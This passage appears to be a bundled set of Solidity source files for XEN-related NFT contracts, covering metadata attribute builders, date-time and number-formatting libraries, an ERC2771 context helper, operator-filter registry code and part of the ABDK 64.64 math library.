'{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on 